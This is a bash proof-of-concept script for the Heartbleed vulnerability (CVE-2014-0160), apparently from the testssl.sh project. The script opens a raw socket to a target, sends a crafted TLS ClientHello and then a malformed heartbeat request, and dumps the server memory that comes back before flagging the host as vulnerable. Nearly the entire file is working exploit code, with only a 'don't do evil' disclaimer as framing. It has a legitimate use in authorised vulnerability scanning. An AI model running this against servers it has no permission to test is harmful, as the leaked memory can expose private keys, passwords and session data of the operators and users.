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#!/bin/bash
# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
#
# sockets inspired by http://blog.chris007.de/?p=238
# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
NODE=""
SLEEP=2
COL_WIDTH=32
[ -z "$1" ] && exit 1
# TLS 1.0=x01 1.1=0x02, 1.2=0x3
# the PoC contains per default only check for TLS1.0 as the is the least common denominator
TLSV=${2:-x01}
heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00"
## ^^^^^^^ this is the thing!
client_hello="
# TLS header ( 5 bytes)
,x16, # Content type (x16 for handshake)
x03, tls_version, # TLS Version
x00, xdc, # Length
# Handshake header
x01, # Type (x01 for ClientHello)
x00, x00, xd8, # Length
x03, tls_version, # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x53, x43, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
x03, x90, x9f, x77, x04, x33, xd4, xde,
x00, # Session ID length
x00, x66, # Cipher suites length
# Cipher suites (51 suites)
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
x00, x39, x00, x38, x00, x88, x00, x87,
xc0, x0f, xc0, x05, x00, x35, x00, x84,
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
x00, x16, x00, x13, xc0, x0d, xc0, x03,
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
xc0, x1e, x00, x33, x00, x32, x00, x9a,
x00, x99, x00, x45, x00, x44, xc0, x0e,
xc0, x04, x00, x2f, x00, x96, x00, x41,
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
x00, x05, x00, x04, x00, x15, x00, x12,
x00, x09, x00, x14, x00, x11, x00, x08,
x00, x06, x00, x03, x00, xff,
x01, # Compression methods length
x00, # Compression method (x00 for NULL)
x00, x49, # Extensions length
# Extension: ec_point_formats
x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves
x00, x0a, x00, x34, x00, x32, x00, x0e,
x00, x0d, x00, x19, x00, x0b, x00, x0c,
x00, x18, x00, x09, x00, x0a, x00, x16,
x00, x17, x00, x08, x00, x06, x00, x07,
x00, x14, x00, x15, x00, x04, x00, x05,
x00, x12, x00, x13, x00, x01, x00, x02,
x00, x03, x00, x0f, x00, x10, x00, x11,
# Extension: SessionTicket TLS
x00, x23, x00, x00,
# Extension: Heartbeat
x00, x0f, x00, x01, x01
"
msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
parse_hn_port() {
PORT=443 # unless otherwise auto-determined, see below
NODE="$1"
# strip "https", supposed it was supplied additionally
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
# strip trailing urlpath
NODE=`echo $NODE | sed -e 's/\/.*$//'`
# determine port, supposed it was supplied additionally
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
's/\:.*$//'`
}
socksend() {
data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
echo "\"$data\""
echo -en "$data" >&5 &
sleep $SLEEP
}
sockread()
{
reply=`dd bs=$1 count=1 <&5 2>/dev/null`
}
#### main
parse_hn_port "$1"
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
echo "`basename $0`: unable to connect to $NODE:$PORT"
exit 2
fi
# socket is now open with fd 5
echo "##### sending client hello:"
socksend "$msg" $TLSV
sockread 10000
echo "##### server hello:"
echo -e "$reply" | xxd | head -20
echo "[...]"
echo
echo "##### sending payload with TLS version $TLSV:"
socksend $heartbleed_payload $TLSV
sockread 65534
echo "###### heartbleed reply: "
echo -e "$reply" | xxd -c$COL_WIDTH
echo
lines_returned=`echo -e "$reply" | xxd | wc -l`
if [ $lines_returned -gt 1 ]; then
tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
ret=1
else
tput bold; tput setaf 2; echo "ok"; tput sgr0
ret=0
fi
echo
exit $ret
# vim:tw=100:ts=5:sw=5
# $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $
|
